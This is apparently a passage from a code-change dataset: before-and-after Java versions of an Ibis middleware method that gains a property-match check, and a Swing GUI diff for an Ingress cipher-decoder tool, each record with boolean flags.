ResizeHandler resizeHandler) throws IbisException, ConnectionRefusedException { Ibis impl; try { loadLibrary("uninitialized_object"); } catch (Throwable t) { } if (implName == null) { throw new IllegalArgumentException("Implementation name is null"); } if (name == null) { throw new IllegalArgumentException("Ibis name is null"); } Class c; try { c = Class.forName(implName); } catch (ClassNotFoundException t) { throw new IllegalArgumentException("Could not initialize Ibis" + t); } try { impl = (Ibis) c.newInstance(); } catch (InstantiationException e) { throw new IllegalArgumentException("Could not initialize Ibis" + e); } catch (IllegalAccessException e2) { throw new IllegalArgumentException("Could not initialize Ibis" + e2); } impl.name = name; impl.implName = implName; impl.resizeHandler = resizeHandler; impl.requiredprops = reqprop; impl.combinedprops = prop; if (reqprop == null) { impl.requiredprops = impl.properties(); } else if (reqprop.isProp("serialization", "object")) { // required properties had "object", but if we later // ask for "sun" or "ibis", these may not be in the // required properties, so put the original serialization // specs back. impl.requiredprops = new StaticProperties(reqprop); impl.requiredprops.add("serialization", impl.properties().find("serialization")); } if (impl.combinedprops == null) { impl.combinedprops = impl.requiredprops.combineWithUserProps(); } try { impl.init(); } catch(ConnectionRefusedException e) { throw e; } catch (IOException e3) { throw new IbisException("Could not initialize Ibis", e3); } //System.err.println("Create Ibis " + impl); synchronized(Ibis.class) { loadedIbises.add(impl); } return impl; } /** * Returns a list of all Ibis implementations that are currently loaded. * When no Ibises are loaded, this method returns an array with no * elements. * @return the list of loaded Ibis implementations. */ public static synchronized Ibis[] loadedIbises() { Ibis[] res = new Ibis[loadedIbises.size()]; for(int i=0; i<res.length; i++) { res[i] = (Ibis) loadedIbises.get(i); } return res; } /** * Creates a new Ibis instance, based on the required properties, * or on the system property "ibis.name", * or on the staticproperty "name". * If the system property "ibis.name" is set, the corresponding * Ibis implementation is chosen. * Else, if the staticproperty "name" is set in the specified * required properties, the corresponding Ibis implementation is chosen. * Else, an Ibis implementation is chosen that matches the * required properties. * * The currently recognized Ibis names are: * <br> * panda Ibis built on top of Panda. * <br> * tcp Ibis built on top of TCP (the current default). * <br> * nio Ibis built on top of Java NIO. * <br> * mpi Ibis built on top of MPI. * <br> * net.* The future version, for tcp, udp, GM, ... This is work in progress. * <br> * @param reqprop static properties required by the application, * or <code>null</code>. * @param r a {@link ibis.ipl.ResizeHandler ResizeHandler} instance * if upcalls for joining or leaving ibis instances are required, * or <code>null</code>. * @return the new Ibis instance. * * @exception NoMatchingIbisException is thrown when no Ibis was * found that matches the properties required. */ public static Ibis createIbis(StaticProperties reqprop, ResizeHandler r) throws IbisException { String hostname; try { hostname = IPUtils.getLocalHostAddress().getHostName(); } catch(Exception e) { hostname = "unknown"; } StaticProperties combinedprops; if (reqprop == null) { combinedprops = (new StaticProperties()).combineWithUserProps(); } else { combinedprops = reqprop.combineWithUserProps(); } if (combinedprops.find("verbose") != null) { System.out.println("Looking for an Ibis with properties: "); System.out.println("" + combinedprops); } String ibisname = combinedprops.find("name"); if (ibisname == null && reqprop == null) { // default Ibis ibisname = defaultIbisNickname; } String[] impls = list(); ArrayList implementation_names = new ArrayList(); if (ibisname == null) { for (int i = 0; i < impls.length; i++) { StaticProperties ibissp = staticProperties(impls[i]); // System.out.println("try " + impls[i]); if (combinedprops.matchProperties(ibissp)) { // System.out.println("match!"); implementation_names.add(impls[i]); } } if (implementation_names.size() == 0) { // System.err.println("Properties:"); // System.err.println(combinedprops.toString()); throw new NoMatchingIbisException( "Could not find a matching Ibis"); } } else { String[] nicks = nicknames(); String name = ibisname; if (name.startsWith("net")) { name = "net"; } for (int i = 0; i < nicks.length; i++) { if (name.equals(nicks[i])) { implementation_names.add(impls[i]); break; } } if (implementation_names.size() == 0) { System.err.println("Warning: name '" + ibisname + "' not recognized, using " + defaultIbisName); implementation_names.add(defaultIbisName); + ibisname = defaultIbisName; } - else if (ibisname.startsWith("net")) { - StaticProperties sp = - staticProperties((String)implementation_names.get(0)); + StaticProperties sp = + staticProperties((String)implementation_names.get(0)); + if (! combinedprops.matchProperties(sp)) { + throw new IbisException("Ibis " + ibisname + " does not match the required properties"); + } + if (ibisname.startsWith("net")) { sp.add("IbisName", ibisname); } } int n = implementation_names.size(); if (combinedprops.find("verbose") != null) { System.out.println("Matching Ibis implementations:"); for (int i = 0; i < n; i++) { System.out.println((String) implementation_names.get(i)); } System.out.println(); } for (int i = 0; i < n; i++) { if (combinedprops.find("verbose") != null) { System.out.println("trying " + (String) implementation_names.get(i)); } while(true) { try { String name = "ibis@" + hostname + "_" + System.currentTimeMillis(); return createIbis(name, (String) implementation_names.get(i), combinedprops, reqprop, r); } catch (ConnectionRefusedException e) { // retry } catch(IbisException e) { if (i == n-1) { // No more Ibis to try. throw e; } else { System.err.println("Warning: could not create " + (String) implementation_names.get(i) + ", trying " + (String) implementation_names.get(i+1)); break; } } catch(RuntimeException e) { if (i == n-1) { // No more Ibis to try. throw e; } else { System.err.println("Warning: could not create " + (String) implementation_names.get(i) + ", trying " + (String) implementation_names.get(i+1)); break; } } catch(Error e) { if (i == n-1) { // No more Ibis to try. throw e; } else { System.err.println("Warning: could not create " + (String) implementation_names.get(i) + ", trying " + (String) implementation_names.get(i+1)); break; } } } } throw new IbisException("Could not create Ibis"); } /** * Reads the properties of an ibis implementation. */ private static void addIbis(String nickname, Properties p) throws IOException { String name = p.getProperty(nickname); if (name == null) { throw new IOException("no implementation given for nickname " + nickname); } String propertyFiles = p.getProperty(name); if (propertyFiles != null) { StaticProperties sp = new StaticProperties(); StringTokenizer st = new StringTokenizer(propertyFiles, " ,\t\n\r\f"); while (st.hasMoreTokens()) { String file = st.nextToken(); InputStream in = ClassLoader.getSystemClassLoader(). getResourceAsStream(file); if (in == null) { System.err.println("could not open " + file); System.exit(1); } sp.load(in); in.close(); } sp.addImpliedProperties(); try { // See if this Ibis actually exists. Class cl = Class.forName(name, false, Ibis.class.getClassLoader()); } catch(ClassNotFoundException e) { return; } synchronized(Ibis.class) { if (nickname.equals(defaultIbisNickname)) { defaultIbisName = name; } nicknameList.add(nickname); implList.add(name); implProperties.add(sp); } // System.out.println("Ibis: " + name); // System.out.println(sp.toString()); } } /** * Reads the properties of the ibis implementations available on the * current machine. * @exception IOException is thrown when a property file could not * be opened, or the "names" property could not be found. */ private static void readGlobalProperties() throws IOException { InputStream in = openProperties(); implList = new ArrayList(); nicknameList = new ArrayList(); implProperties = new ArrayList(); Properties p = new Properties(); p.load(in); in.close(); String order = p.getProperty("names"); defaultIbisNickname = p.getProperty("default"); if (defaultIbisNickname == null) { throw new IOException("Error in properties file: no default ibis!"); } if (order != null) { StringTokenizer st = new StringTokenizer(order, " ,\t\n\r\f"); while (st.hasMoreTokens()) { addIbis(st.nextToken(), p); } if (defaultIbisName == null) { throw new IOException("Error in properties file: could not find the default Ibis (" + defaultIbisNickname + ")"); } } else { throw new IOException("Error in properties file: no property \"names\""); } } /** * Tries to find and open a property file. * The file is searched for as described below: * <br> * First, the system property ibis.property.file is tried. * <br> * Next, a file named properties is tried using the system classloader. * <br> * Next, current_dir/ibis_properties is tried, where current_dir indicates * the value of the system property user.dir. * <br> * Next, home_dir/ibis_properties is tried, where home_dir indicates * the value of the system property user.home. * <br> * If any of this fails, a message is printed, and an exception is thrown. * <br> * @return input stream from which properties can be read. * @exception IOException is thrown when a property file could not * be opened. */ private static InputStream openProperties() throws IOException { Properties p = System.getProperties(); String s = p.getProperty("ibis.property.file"); InputStream in; if(s != null) { try { return new FileInputStream(s); } catch(FileNotFoundException e) { System.err.println("ibis.property.file set, " + "but could not read file " + s); } } in = ClassLoader.getSystemClassLoader(). getResourceAsStream("properties"); if (in != null) { return in; } String sep = p.getProperty("file.separator"); if(sep == null) { throw new IOException("Could not get file separator property"); } /* try current dir */ s = p.getProperty("user.dir"); if(s != null) { s += sep + "ibis_properties"; try { return new FileInputStream(s); } catch(FileNotFoundException e) { } } /* try users home dir */ s = p.getProperty("user.home"); if(s != null) { s += sep + "ibis_properties"; try { return new FileInputStream(s); } catch(FileNotFoundException e) { } } throw new IOException("Could not find property file"); } /** * Returns a list of available Ibis implementation names for this system. * @return the list of available Ibis implementations. */ public static synchronized String[] list() { String[] res = new String[implList.size()]; for(int i=0; i<res.length; i++) { res[i] = (String) implList.get(i); } return res; } /** * Returns a list of available Ibis nicknames for this system. * @return the list of available Ibis implementations. */ private static synchronized String[] nicknames() { String[] res = new String[nicknameList.size()]; for(int i=0; i<res.length; i++) { res[i] = (String) nicknameList.get(i); } return res; } /** * Returns the static properties for a certain implementation. * @param implName implementation name of an Ibis for which * properties are requested. * @return the static properties for a given implementation, * or <code>null</code> if not present. */ public static synchronized StaticProperties staticProperties( String implName) { int index = implList.indexOf(implName); if (index < 0) return null; return (StaticProperties) implProperties.get(index); } /** * Allows for join and leave calls to be received. * If a {@link ibis.ipl.ResizeHandler ResizeHandler} is installed, * this call blocks until its join upcall for this Ibis is * invoked. */ public abstract void openWorld(); /** * Disables reception of join/leave calls. */ public abstract void closeWorld(); /** * Returns all Ibis recources to the system. */ public abstract void end() throws IOException; /** * Creates a {@link ibis.ipl.PortType PortType}. * A name is given to the <code>PortType</code> (e.g. "satin porttype" * or "RMI porttype"), and Port properties are specified (for example * ports are "totally-ordered" and "reliable" and support "NWS"). * If no static properties are given, the properties that were * requested from the Ibis implementation are used, possibly combined * with properties specified by the user (using the -Dibis.<category>="..." * mechanism). If static properties <strong>are</strong> given, * the default properties described above are used for categories * not specifiedby the given properties. * <p> * The name and properties <strong>together</strong> define the * <code>PortType</code>. * If two Ibis instances want to communicate, they must both * create a <code>PortType</code> with the same name and properties. * If multiple implementations try to create a <code>PortType</code> * with the same name but different properties, an IbisException will * be thrown. * A <code>PortType</code> can be used to create * {@link ibis.ipl.ReceivePort ReceivePorts} and * {@link ibis.ipl.SendPort SendPorts}. * Only <code>ReceivePort</code>s and <code>SendPort</code>s of * the same <code>PortType</code> can communicate. * Any number of <code>ReceivePort</code>s and <code>SendPort</code>s * can be created on a JVM (even of the same <code>PortType</code>). * @param name name of the porttype. * @param p properties of the porttype. * @return the porttype. * @exception IbisException is thrown when Ibis configuration, * name or p are misconfigured * @exception IOException may be thrown for instance when communication * with a nameserver fails. */ public PortType createPortType(String name, StaticProperties p) throws IOException, IbisException { if (p == null) { p = combinedprops; } else { // The properties given as parameter have preference. // It is not clear to me if the user properties should have // preference here. The user could say that he wants Ibis // serialization, but the parameter could say: sun serialization. // On the other hand, the parameter could just say: object // serialization, in which case the user specification is // more specific. // The {@link StaticProperties#combine} method should deal // with that. p = new StaticProperties(combinedprops.combine(p)); p.add("worldmodel", ""); // not significant for port type, // and may conflict with the ibis prop. checkPortProperties(p); } if (name == null) { throw new IbisException("anonymous name for port type not allowed"); } if (combinedprops.find("verbose") != null) { System.out.println("Creating port type " + name + " with properties " + p); } return newPortType(name, p); } /** * See {@link ibis.ipl.Ibis#createPortType(String, StaticProperties)}. */ protected abstract PortType newPortType(String name, StaticProperties p) throws IOException, IbisException; /** * This method is used to check if the properties for a PortType * match the properties of this Ibis. * @param p the properties for the PortType. * @exception IbisException is thrown when this Ibis cannot provide * the properties requested for the PortType. */ private void checkPortProperties(StaticProperties p) throws IbisException { if (! p.matchProperties(requiredprops)) { System.err.println("Ibis required properties: " + requiredprops); System.err.println("Port required properties: " + p); throw new IbisException("Port properties don't match the required properties of Ibis"); } } /** * Returns the {@link ibis.ipl.PortType PortType} corresponding to * the given name. * @param name the name of the requested port type. * @return a reference to the port type, or <code>null</code> * if the given name is not the name of a valid port type. */ public abstract PortType getPortType(String name); /** * Returns the Ibis {@linkplain ibis.ipl.Registry Registry}. * @return the Ibis registry. */ public abstract Registry registry(); /** * Notifies the specified ibis that it has to leave the computation * @param ident the ibis that has to leave. * @exception IOException is thrown when a communication error occurs. */ public abstract void sendDelete(IbisIdentifier ident) throws IOException; /** * Notifies all ibises in the run that they have to reconfigure. * @exception IOException is thrown when a communication error occurs. */ public abstract void sendReconfigure() throws IOException; /** * Returns the properties of this Ibis implementation. * @return the properties of this Ibis implementation. */ public StaticProperties properties() { return staticProperties(implName); } /** * Polls the network for new messages. * An upcall may be generated by the poll. * There is one poll for the entire Ibis, as this * can sometimes be implemented more efficiently than polling per * port. Polling per port is provided in the receiveport itself. * @exception IOException is thrown when a communication error occurs. */ public abstract void poll() throws IOException; /** * Returns the user-specified name of this Ibis instance. * @return the name of this Ibis instance. */ public String name() { return name; } /** * Returns the implementation name of this Ibis instance. * @return the implementation name of this Ibis instance. */ public String implementationName() { return implName; } /** * Returns an Ibis {@linkplain ibis.ipl.IbisIdentifier identifier} for * this Ibis instance. * An Ibis identifier identifies an Ibis instance in the network. * @return the Ibis identifier of this Ibis instance. */ public abstract IbisIdentifier identifier(); /** * Ibis-implementation-specific initialization. */ protected abstract void init() throws IbisException, IOException; /** * Notifies this Ibis instance that another Ibis instance has * joined the run. * <strong> * Note: used by the nameserver, do not call from outside Ibis. * </strong> * @param joinIdent the Ibis {@linkplain ibis.ipl.IbisIdentifier * identifier} of the Ibis instance joining the run. */ public abstract void join(IbisIdentifier joinIdent); /** * Notifies this Ibis instance that another Ibis instance has * left the run. * <strong> * Note: used by the nameserver, do not call from outside Ibis. * </strong> * @param leaveIdent the Ibis {@linkplain ibis.ipl.IbisIdentifier * identifier} of the Ibis instance leaving the run. */ public abstract void leave(IbisIdentifier leaveIdent); /** * Notifies this Ibis instance that this or another Ibis instance has * to leave the run. * <strong> * Note: used by the nameserver, do not call from outside Ibis. * </strong> * @param deleteIdent the Ibis {@linkplain ibis.ipl.IbisIdentifier * identifier} of the Ibis instance that has to leave the run. */ public abstract void delete(IbisIdentifier deleteIdent); /** * Notifies this Ibis instance that the application has to reconfigure. * <strong> * Note: used by the nameserver, do not call from outside Ibis. * </strong> */ public abstract void reconfigure(); }
false
true
public static Ibis createIbis(StaticProperties reqprop, ResizeHandler r) throws IbisException { String hostname; try { hostname = IPUtils.getLocalHostAddress().getHostName(); } catch(Exception e) { hostname = "unknown"; } StaticProperties combinedprops; if (reqprop == null) { combinedprops = (new StaticProperties()).combineWithUserProps(); } else { combinedprops = reqprop.combineWithUserProps(); } if (combinedprops.find("verbose") != null) { System.out.println("Looking for an Ibis with properties: "); System.out.println("" + combinedprops); } String ibisname = combinedprops.find("name"); if (ibisname == null && reqprop == null) { // default Ibis ibisname = defaultIbisNickname; } String[] impls = list(); ArrayList implementation_names = new ArrayList(); if (ibisname == null) { for (int i = 0; i < impls.length; i++) { StaticProperties ibissp = staticProperties(impls[i]); // System.out.println("try " + impls[i]); if (combinedprops.matchProperties(ibissp)) { // System.out.println("match!"); implementation_names.add(impls[i]); } } if (implementation_names.size() == 0) { // System.err.println("Properties:"); // System.err.println(combinedprops.toString()); throw new NoMatchingIbisException( "Could not find a matching Ibis"); } } else { String[] nicks = nicknames(); String name = ibisname; if (name.startsWith("net")) { name = "net"; } for (int i = 0; i < nicks.length; i++) { if (name.equals(nicks[i])) { implementation_names.add(impls[i]); break; } } if (implementation_names.size() == 0) { System.err.println("Warning: name '" + ibisname + "' not recognized, using " + defaultIbisName); implementation_names.add(defaultIbisName); } else if (ibisname.startsWith("net")) { StaticProperties sp = staticProperties((String)implementation_names.get(0)); sp.add("IbisName", ibisname); } } int n = implementation_names.size(); if (combinedprops.find("verbose") != null) { System.out.println("Matching Ibis implementations:"); for (int i = 0; i < n; i++) { System.out.println((String) implementation_names.get(i)); } System.out.println(); } for (int i = 0; i < n; i++) { if (combinedprops.find("verbose") != null) { System.out.println("trying " + (String) implementation_names.get(i)); } while(true) { try { String name = "ibis@" + hostname + "_" + System.currentTimeMillis(); return createIbis(name, (String) implementation_names.get(i), combinedprops, reqprop, r); } catch (ConnectionRefusedException e) { // retry } catch(IbisException e) { if (i == n-1) { // No more Ibis to try. throw e; } else { System.err.println("Warning: could not create " + (String) implementation_names.get(i) + ", trying " + (String) implementation_names.get(i+1)); break; } } catch(RuntimeException e) { if (i == n-1) { // No more Ibis to try. throw e; } else { System.err.println("Warning: could not create " + (String) implementation_names.get(i) + ", trying " + (String) implementation_names.get(i+1)); break; } } catch(Error e) { if (i == n-1) { // No more Ibis to try. throw e; } else { System.err.println("Warning: could not create " + (String) implementation_names.get(i) + ", trying " + (String) implementation_names.get(i+1)); break; } } } } throw new IbisException("Could not create Ibis"); }
public static Ibis createIbis(StaticProperties reqprop, ResizeHandler r) throws IbisException { String hostname; try { hostname = IPUtils.getLocalHostAddress().getHostName(); } catch(Exception e) { hostname = "unknown"; } StaticProperties combinedprops; if (reqprop == null) { combinedprops = (new StaticProperties()).combineWithUserProps(); } else { combinedprops = reqprop.combineWithUserProps(); } if (combinedprops.find("verbose") != null) { System.out.println("Looking for an Ibis with properties: "); System.out.println("" + combinedprops); } String ibisname = combinedprops.find("name"); if (ibisname == null && reqprop == null) { // default Ibis ibisname = defaultIbisNickname; } String[] impls = list(); ArrayList implementation_names = new ArrayList(); if (ibisname == null) { for (int i = 0; i < impls.length; i++) { StaticProperties ibissp = staticProperties(impls[i]); // System.out.println("try " + impls[i]); if (combinedprops.matchProperties(ibissp)) { // System.out.println("match!"); implementation_names.add(impls[i]); } } if (implementation_names.size() == 0) { // System.err.println("Properties:"); // System.err.println(combinedprops.toString()); throw new NoMatchingIbisException( "Could not find a matching Ibis"); } } else { String[] nicks = nicknames(); String name = ibisname; if (name.startsWith("net")) { name = "net"; } for (int i = 0; i < nicks.length; i++) { if (name.equals(nicks[i])) { implementation_names.add(impls[i]); break; } } if (implementation_names.size() == 0) { System.err.println("Warning: name '" + ibisname + "' not recognized, using " + defaultIbisName); implementation_names.add(defaultIbisName); ibisname = defaultIbisName; } StaticProperties sp = staticProperties((String)implementation_names.get(0)); if (! combinedprops.matchProperties(sp)) { throw new IbisException("Ibis " + ibisname + " does not match the required properties"); } if (ibisname.startsWith("net")) { sp.add("IbisName", ibisname); } } int n = implementation_names.size(); if (combinedprops.find("verbose") != null) { System.out.println("Matching Ibis implementations:"); for (int i = 0; i < n; i++) { System.out.println((String) implementation_names.get(i)); } System.out.println(); } for (int i = 0; i < n; i++) { if (combinedprops.find("verbose") != null) { System.out.println("trying " + (String) implementation_names.get(i)); } while(true) { try { String name = "ibis@" + hostname + "_" + System.currentTimeMillis(); return createIbis(name, (String) implementation_names.get(i), combinedprops, reqprop, r); } catch (ConnectionRefusedException e) { // retry } catch(IbisException e) { if (i == n-1) { // No more Ibis to try. throw e; } else { System.err.println("Warning: could not create " + (String) implementation_names.get(i) + ", trying " + (String) implementation_names.get(i+1)); break; } } catch(RuntimeException e) { if (i == n-1) { // No more Ibis to try. throw e; } else { System.err.println("Warning: could not create " + (String) implementation_names.get(i) + ", trying " + (String) implementation_names.get(i+1)); break; } } catch(Error e) { if (i == n-1) { // No more Ibis to try. throw e; } else { System.err.println("Warning: could not create " + (String) implementation_names.get(i) + ", trying " + (String) implementation_names.get(i+1)); break; } } } } throw new IbisException("Could not create Ibis"); }
diff --git a/src/GUI2.java b/src/GUI2.java index 59c3222..d219c91 100755 --- a/src/GUI2.java +++ b/src/GUI2.java @@ -1,272 +1,273 @@ import java.awt.BorderLayout; import java.awt.Color; import java.awt.Dimension; import java.awt.Font; import java.awt.GridBagConstraints; import java.awt.GridBagLayout; import java.awt.Insets; import java.awt.event.KeyEvent; import java.net.URL; import java.util.Vector; import javax.swing.BorderFactory; import javax.swing.Box; import javax.swing.DefaultComboBoxModel; import javax.swing.ImageIcon; import javax.swing.JButton; import javax.swing.JCheckBox; import javax.swing.JComboBox; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.JTabbedPane; import javax.swing.JTextField; import javax.swing.border.EmptyBorder; import javax.swing.border.LineBorder; import javax.swing.plaf.ComboBoxUI; public class GUI2 extends JFrame { private static final long serialVersionUID = -849850209835435686L; public static JLabel makeTextLabel(String text) { JLabel label = new JLabel(text); label.setFont(new Font("Courier New", 1, 15)); label.setForeground(new Color(0, 205, 106)); return label; } ListenerHandler listener; JPanel mainPanel, innerPane1, innerPane2; JTabbedPane tabbedPane; JCheckBox alwaysontop; JCheckBox livedecode; JTextField tf_code; JComboBox<String> cb_code; DefaultComboBoxModel<String> model; ColoredMenuBar menubar; JButton btn_generate; JButton close, minimize, small, medium, large; GridBagConstraints c = new GridBagConstraints(); Font textfont = new Font("Courier New", 1, 16); Color yellowColor = new Color(0, 205, 106); Font mono = new Font(Font.MONOSPACED, Font.PLAIN, 14); boolean islivedecode = false; Vector<String> codes = new Vector<String>(); CipherPanel cipher1; CipherPanel2 cipher2; ConvertPanel convert; AboutPanel about; public GUI2() { this.listener = new ListenerHandler(this); this.cipher1 = new CipherPanel(this.listener); this.cipher2 = new CipherPanel2(this.listener); this.convert = new ConvertPanel(this.listener); this.about = new AboutPanel(this.listener); } public void initGUI() { // init main panel components this.mainPanel = new JPanel(new GridBagLayout()); this.tabbedPane = new JTabbedPane(); this.mainPanel.setBackground(Color.black); this.tabbedPane.setBackground(Color.black); this.tabbedPane.setForeground(this.yellowColor); this.tabbedPane.setFont(this.textfont); this.tabbedPane.setUI(new CustomTabbedPaneUI()); this.tabbedPane.setTabLayoutPolicy(JTabbedPane.SCROLL_TAB_LAYOUT); // menu bar items this.close = new JButton(makeImageIcon("/images/close.png")); this.close.setRolloverIcon(makeImageIcon("/images/close_hover.png")); this.close.setPressedIcon(makeImageIcon("/images/close_pressed.png")); this.close.setBorder(BorderFactory.createEmptyBorder()); this.close.setContentAreaFilled(false); this.close.setName("close"); this.close.addMouseListener(this.listener); this.minimize = new JButton(makeImageIcon("/images/minimize.png")); this.minimize .setRolloverIcon(makeImageIcon("/images/minimize_hover.png")); this.minimize .setPressedIcon(makeImageIcon("/images/minimize_pressed.png")); this.minimize.setBorder(BorderFactory.createEmptyBorder()); this.minimize.setContentAreaFilled(false); this.minimize.setName("minimize"); this.minimize.addMouseListener(this.listener); this.large = new JButton(makeImageIcon("/images/large.png")); this.large.setRolloverIcon(makeImageIcon("/images/large_hover.png")); this.large.setPressedIcon(makeImageIcon("/images/large_pressed.png")); this.large.setBorder(BorderFactory.createEmptyBorder()); this.large.setContentAreaFilled(false); this.large.setName("large"); this.large.addMouseListener(this.listener); this.medium = new JButton(makeImageIcon("/images/medium.png")); this.medium.setRolloverIcon(makeImageIcon("/images/medium_hover.png")); this.medium.setPressedIcon(makeImageIcon("/images/medium_pressed.png")); this.medium.setBorder(BorderFactory.createEmptyBorder()); this.medium.setContentAreaFilled(false); this.medium.setName("medium"); this.medium.addMouseListener(this.listener); this.small = new JButton(makeImageIcon("/images/small.png")); this.small.setRolloverIcon(makeImageIcon("/images/small_hover.png")); this.small.setPressedIcon(makeImageIcon("/images/small_pressed.png")); this.small.setBorder(BorderFactory.createEmptyBorder()); this.small.setContentAreaFilled(false); this.small.setName("small"); this.small.addMouseListener(this.listener); JLabel ingressIcon = new JLabel( makeImageIcon("/images/Ingress_Logo_Middle.png")); JLabel title = new JLabel("Ingress Decoder"); title.setFont(new Font("Courier New", 1, 25)); title.setForeground(new Color(0, 205, 106)); // init menubar this.menubar = new ColoredMenuBar(); this.menubar.addMouseMotionListener(this.listener); this.menubar.addMouseListener(this.listener); this.menubar.setBorder(new EmptyBorder(0, 0, 0, 0)); this.menubar.add(ingressIcon); this.menubar.add(Box.createHorizontalStrut(10)); this.menubar.add(title); this.menubar.add(Box.createHorizontalGlue()); this.menubar.add(this.small); this.menubar.add(this.medium); this.menubar.add(this.large); this.menubar.add(this.minimize); this.menubar.add(this.close); // preparing combobox model this.model = new DefaultComboBoxModel<>(this.codes); // adding pannels to tabbed pain this.tabbedPane .addTab("Cipher", makeImageIcon("/images/Ingress_Logo.png"), this.cipher1, "Reversed, Decimal to Ascii, Pattern to Binary, Morse, Caesarian Shift"); this.tabbedPane.addTab("Cipher 2", makeImageIcon("/images/Ingress_Logo.png"), this.cipher2, "Atbash, Vigenere Key, Letter2Number"); this.tabbedPane.addTab("Converter", makeImageIcon("/images/Ingress_Logo.png"), this.convert, "Dec2ASCII"); this.tabbedPane.addTab("About us", makeImageIcon("/images/enlightened.png"), this.about, "About us"); this.tabbedPane.setMnemonicAt(0, KeyEvent.VK_0); this.tabbedPane.setMnemonicAt(1, KeyEvent.VK_1); // adding components to mainpanel this.c.fill = GridBagConstraints.BOTH; this.c.weightx = 1.0; this.c.gridx = 0; this.c.gridy = 0; this.c.insets = new Insets(0, 5, 0, 5); this.mainPanel.add(makeTextLabel("Code"), this.c); this.c.fill = GridBagConstraints.BOTH; this.c.weightx = 0.01; this.c.gridx = 1; this.c.gridy = 0; this.c.insets = new Insets(0, 5, 0, 5); this.alwaysontop = new JCheckBox("Always on top"); this.alwaysontop.setFont(this.textfont); this.alwaysontop.setForeground(this.yellowColor); this.alwaysontop.setActionCommand("onTop"); this.alwaysontop.addActionListener(this.listener); this.mainPanel.add(this.alwaysontop, this.c); this.c.fill = GridBagConstraints.HORIZONTAL; this.c.weightx = 1.0; this.c.gridx = 0; this.c.gridy = 1; // this.c.gridwidth = 2; this.c.insets = new Insets(0, 5, 5, 5); this.tf_code = new JTextField(); this.tf_code.setBackground(Color.black); this.tf_code.setFont(this.mono); this.tf_code.setForeground(this.yellowColor); this.tf_code.setName("code"); this.tf_code.addCaretListener(this.listener); // combox testing this.cb_code = new JComboBox<>(this.model); this.cb_code.setBackground(Color.black); this.cb_code.setEditable(true); this.cb_code.setForeground(this.yellowColor); this.cb_code.setBorder(new LineBorder(this.yellowColor, 1)); this.cb_code.setUI((ComboBoxUI) MyComboBoxUI.createUI(this.cb_code)); this.cb_code.setFont(this.mono); this.cb_code.setName("code"); this.cb_code.getEditor().getEditorComponent() .addKeyListener(this.listener); this.cb_code.getEditor().getEditorComponent().setName("code"); // testing end this.mainPanel.add(this.cb_code, this.c); this.c.fill = GridBagConstraints.HORIZONTAL; this.c.weightx = 0.01; this.c.gridx = 1; this.c.gridy = 1; // this.c.gridwidth = 2; this.c.insets = new Insets(0, 5, 5, 5); this.livedecode = new JCheckBox("Live Decoding"); this.livedecode.setFont(this.textfont); this.livedecode.setForeground(this.yellowColor); this.livedecode.setActionCommand("liveDecode"); this.livedecode.addActionListener(this.listener); this.mainPanel.add(this.livedecode, this.c); this.c.fill = GridBagConstraints.BOTH; this.c.weightx = 1.0; this.c.gridx = 0; this.c.gridy = 2; this.c.gridwidth = 2; this.c.insets = new Insets(0, 0, 0, 0); this.mainPanel.add(this.tabbedPane, this.c); this.c.fill = GridBagConstraints.BOTH; this.c.weightx = 1.0; this.c.gridx = 0; this.c.gridy = 3; this.c.gridwidth = 2; this.c.insets = new Insets(5, 5, 5, 5); this.btn_generate = new JButton("Generate"); this.btn_generate.setBackground(Color.black); this.btn_generate.setFont(this.textfont); this.btn_generate.setForeground(this.yellowColor); this.btn_generate.setActionCommand("generate"); this.btn_generate.addActionListener(this.listener); this.mainPanel.add(this.btn_generate, this.c); // adding components to frame add(this.menubar, BorderLayout.NORTH); add(this.mainPanel, BorderLayout.CENTER); // general frame settings setSize(new Dimension(900, 500)); setIconImage(makeImageIcon("/images/Ingress_Logo_Middle.png") .getImage()); + setLocationByPlatform(true); setTitle("Ingress Decoder"); setUndecorated(true); setVisible(true); } public ImageIcon makeImageIcon(String relative_path) { URL imgURL = getClass().getResource(relative_path); return new ImageIcon(imgURL); } }
true
true
public void initGUI() { // init main panel components this.mainPanel = new JPanel(new GridBagLayout()); this.tabbedPane = new JTabbedPane(); this.mainPanel.setBackground(Color.black); this.tabbedPane.setBackground(Color.black); this.tabbedPane.setForeground(this.yellowColor); this.tabbedPane.setFont(this.textfont); this.tabbedPane.setUI(new CustomTabbedPaneUI()); this.tabbedPane.setTabLayoutPolicy(JTabbedPane.SCROLL_TAB_LAYOUT); // menu bar items this.close = new JButton(makeImageIcon("/images/close.png")); this.close.setRolloverIcon(makeImageIcon("/images/close_hover.png")); this.close.setPressedIcon(makeImageIcon("/images/close_pressed.png")); this.close.setBorder(BorderFactory.createEmptyBorder()); this.close.setContentAreaFilled(false); this.close.setName("close"); this.close.addMouseListener(this.listener); this.minimize = new JButton(makeImageIcon("/images/minimize.png")); this.minimize .setRolloverIcon(makeImageIcon("/images/minimize_hover.png")); this.minimize .setPressedIcon(makeImageIcon("/images/minimize_pressed.png")); this.minimize.setBorder(BorderFactory.createEmptyBorder()); this.minimize.setContentAreaFilled(false); this.minimize.setName("minimize"); this.minimize.addMouseListener(this.listener); this.large = new JButton(makeImageIcon("/images/large.png")); this.large.setRolloverIcon(makeImageIcon("/images/large_hover.png")); this.large.setPressedIcon(makeImageIcon("/images/large_pressed.png")); this.large.setBorder(BorderFactory.createEmptyBorder()); this.large.setContentAreaFilled(false); this.large.setName("large"); this.large.addMouseListener(this.listener); this.medium = new JButton(makeImageIcon("/images/medium.png")); this.medium.setRolloverIcon(makeImageIcon("/images/medium_hover.png")); this.medium.setPressedIcon(makeImageIcon("/images/medium_pressed.png")); this.medium.setBorder(BorderFactory.createEmptyBorder()); this.medium.setContentAreaFilled(false); this.medium.setName("medium"); this.medium.addMouseListener(this.listener); this.small = new JButton(makeImageIcon("/images/small.png")); this.small.setRolloverIcon(makeImageIcon("/images/small_hover.png")); this.small.setPressedIcon(makeImageIcon("/images/small_pressed.png")); this.small.setBorder(BorderFactory.createEmptyBorder()); this.small.setContentAreaFilled(false); this.small.setName("small"); this.small.addMouseListener(this.listener); JLabel ingressIcon = new JLabel( makeImageIcon("/images/Ingress_Logo_Middle.png")); JLabel title = new JLabel("Ingress Decoder"); title.setFont(new Font("Courier New", 1, 25)); title.setForeground(new Color(0, 205, 106)); // init menubar this.menubar = new ColoredMenuBar(); this.menubar.addMouseMotionListener(this.listener); this.menubar.addMouseListener(this.listener); this.menubar.setBorder(new EmptyBorder(0, 0, 0, 0)); this.menubar.add(ingressIcon); 